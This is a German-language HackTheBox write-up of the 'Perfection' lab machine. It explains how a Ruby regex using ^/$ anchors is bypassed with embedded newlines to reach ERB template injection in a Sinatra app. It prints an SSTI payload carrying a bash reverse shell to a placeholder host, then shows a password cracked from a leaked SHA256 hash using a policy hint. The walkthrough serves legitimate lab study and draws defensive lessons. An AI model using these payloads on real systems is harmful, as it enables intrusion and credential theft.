// HackTheBox

Perfection

Umgehung des Ruby-Regex-Zeilenankers → SSTI (RCE als susan) → geknacktes Passwort aus einem geleakten Hash + Mail-Hinweis

HackTheBoxLeichtLinux 20. Juli 2026 4 Min. Lesezeit

Aufklärung

Port Dienst
22 SSH (OpenSSH 8.9p1 Ubuntu)
80 HTTP (nginx als Reverse-Proxy vor WEBrick 1.7.0 / Ruby 3.0.2 — Sinatra-App)

Der Webserver ist eine Ruby-Sinatra-App hinter nginx — WEBrick und Ruby 3.0.2 im Banner verraten das. Die Seite ist ein “Weighted Grade Calculator”: /weighted-grade ist ein Formular, das an /weighted-grade-calc mit fünf Sätzen aus Kategorie-/Note-/ Gewicht-Feldern postet.

Ein Rechner, der einen Kategorienamen als Text entgegennimmt und ihn dann in die Ergebnisseite zurück ausgibt, ist der Faden, an dem man ziehen muss. Jede App, die benutzergelieferten Text in eine gerenderte Seite reflektiert, ist ein Kandidat für Template-Injection, und eine Ruby/Sinatra-App rendert mit ziemlicher Sicherheit über ERB — die Kategoriefelder sind also der Ansatzpunkt.

Erstzugang — Umgehung des Ruby-Regex-Zeilenankers -> SSTI (RCE als susan)

Der Quellcode (main.rb, nach der Shell gelesen) bestätigt die gesamte Schwachstelle:

elsif params[:category1] =~ /^[a-zA-Z0-9\/ ]+$/ && ... # all 5 categories, same regex
    @result = ERB.new("...<%= ... %>...\%</p><p>" + params[:category1] + ": <%= ... %>..."
                       ).result(binding)

Die Kategoriewerte werden direkt in einen ERB-Template-String konkateniert, auf dem anschließend .result(binding) aufgerufen wird — das ist konstruktionsbedingt Server-Side-Template-Injection (SSTI): Die Benutzereingabe wird Teil des Template-Quellcodes, nicht bloß ein eingesetzter Wert, sodass jedes eingeschmuggelte <%= ... %> als Ruby ausgewertet wird. Das Einzige, was im Weg steht, ist diese Regex, /^[a-zA-Z0-9\/ ]+$/, die scheinbar die Zeichen verbietet, die ein ERB-Tag braucht.

Tut sie aber nicht, wegen der Funktionsweise der Ruby-Anker. In Ruby matchen ^ und $ den Anfang und das Ende einer Zeile, nicht des gesamten Strings (die gesamtstring-bezogenen Anker sind \A und \z). Enthält ein Kategoriewert also einen Zeilenumbruch, ist die Regex erfüllt, solange irgendeine einzelne Zeile vollständig auf [a-zA-Z0-9\/ ]+ passt — eine harmlose Zeile wie a besteht die Prüfung, während eine andere Zeile im selben Wert die ERB-Nutzlast direkt in das Template trägt.

Nutzlast (category1, echte Zeilenumbrüche, per curl --data-urlencode urlkodiert):

a
<%= `id` %>
1

Hier sind a und 1 die unauffälligen Zeilen, die den Anker erfüllen, und die mittlere Zeile verrichtet die Arbeit. Man beachte die Backticks: Rubys system() liefert einen Boolean zurück und schickt die Kommandoausgabe an die stdout des Servers, nicht an uns, sodass Backticks (oder %x()) nötig sind, um stdout in die Antwort zu erfassen. Nachdem id die Codeausführung bestätigt, trägt derselbe Backtick-Trick ein vollständiges Reverse-Shell-Kommando:

a
<%= `setsid -f bash -c 'exec bash -i >& /dev/tcp/<LHOST>/4444 0>&1' </dev/null >/dev/null 2>&1 &` %>
1

Die Shell landete als susan. Sie ist bereits in der sudo-Gruppe, aber sudo -l verlangt ihr Passwort — das wir noch nicht haben, also ist das das nächste zu lösende Problem.

Rechteausweitung — geknacktes Passwort aus einem geleakten Hash + Mail-Hinweis

Beim Stöbern in susans Home-Verzeichnis taucht eine übrig gebliebene Datenbank auf: /home/susan/Migration/pupilpath_credentials.db (sqlite3, für susan lesbar) enthält eine users-Tabelle mit SHA256-Passwort-Hashes für fünf Benutzer, darunter der von susan: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f.

Ein ungesalzenes SHA256 ohne Formathinweis wäre nahezu aussichtslos zu knacken, doch der Hinweis liegt in ihrem Postfach. /var/mail/susan (eine E-Mail von “Tina”) legt die Passwortrichtlinie der Organisation offen: {firstname}_{firstname backwards}_{random int 1-1,000,000,000}, mit dem Vornamen in Kleinbuchstaben. Für susan legt das die gesamte Struktur auf susan_nasus_<N> fest, mit N zwischen 1 und einer Milliarde — ein endlicher, vollständig bekannter Keyspace statt eines offenen Ratens.

Das verwandelt das Cracken in eine simple begrenzte Schleife: sha256("susan_nasus_" + N) für N in 1..1e9 berechnen und mit ihrem Hash vergleichen. Ein reiner Ruby-Bruteforcer schafft ~2,1 Mio. Hashes/Sek. und findet es in ~190s — siehe exploit/crack_susan.rb. Das Passwort ist: susan_nasus_413759210.

Mit einem echten Passwort in der Hand liefert sudo -l (ALL : ALL) ALL — susan darf alles als root ausführen. sudo cat /root/root.txt schnappt sich die Flag direkt (eine vollständige Root-Shell via sudo bash würde genauso funktionieren; nur die Flag wurde benötigt).

Erkenntnisse

  • Ruby (und diverse andere Sprachen) behandeln ^/$ als zeilenweise, nicht gesamtstring-bezogene Regex-Anker — \A/\z sind die gesamtstring-bezogenen Entsprechungen. Jede Eingabevalidierungs-Regex, die ^...$ auf mehrzeilenfähige Eingaben anwendet, lässt sich umgehen, indem man einen Zeilenumbruch einbettet und die schädliche Nutzlast in eine andere Zeile setzt als die, die die Regex erfüllt.
  • ERB.new(string_with_user_input).result(binding) ist konstruktionsbedingt direktes SSTI — String-Konkatenation in den Template-Quellcode, nicht bloß uninterpolierte, unescapte Variablen.
  • Rubys system() liefert einen Boolean zurück und schickt die Kommandoausgabe an die stdout des Servers selbst, nicht an den Aufrufer — man verwende Backticks (`cmd`) oder %x(), um die Ausgabe in die Antwort zu erfassen.
  • Eine geleakte/committete Credentials-DB plus eine “hilfreiche” Richtlinien-Ankündigungsmail verwandelten gemeinsam ein unzusammenhängendes, übrig gebliebenes Artefakt in einen knackbaren, gut eingegrenzten Keyspace (1e9, nicht unendlich) — man prüfe stets, ob es sowohl einen Hash als auch einen Formathinweis gibt, bevor man einen Hash für unknackbar hält.
← Alle Writeups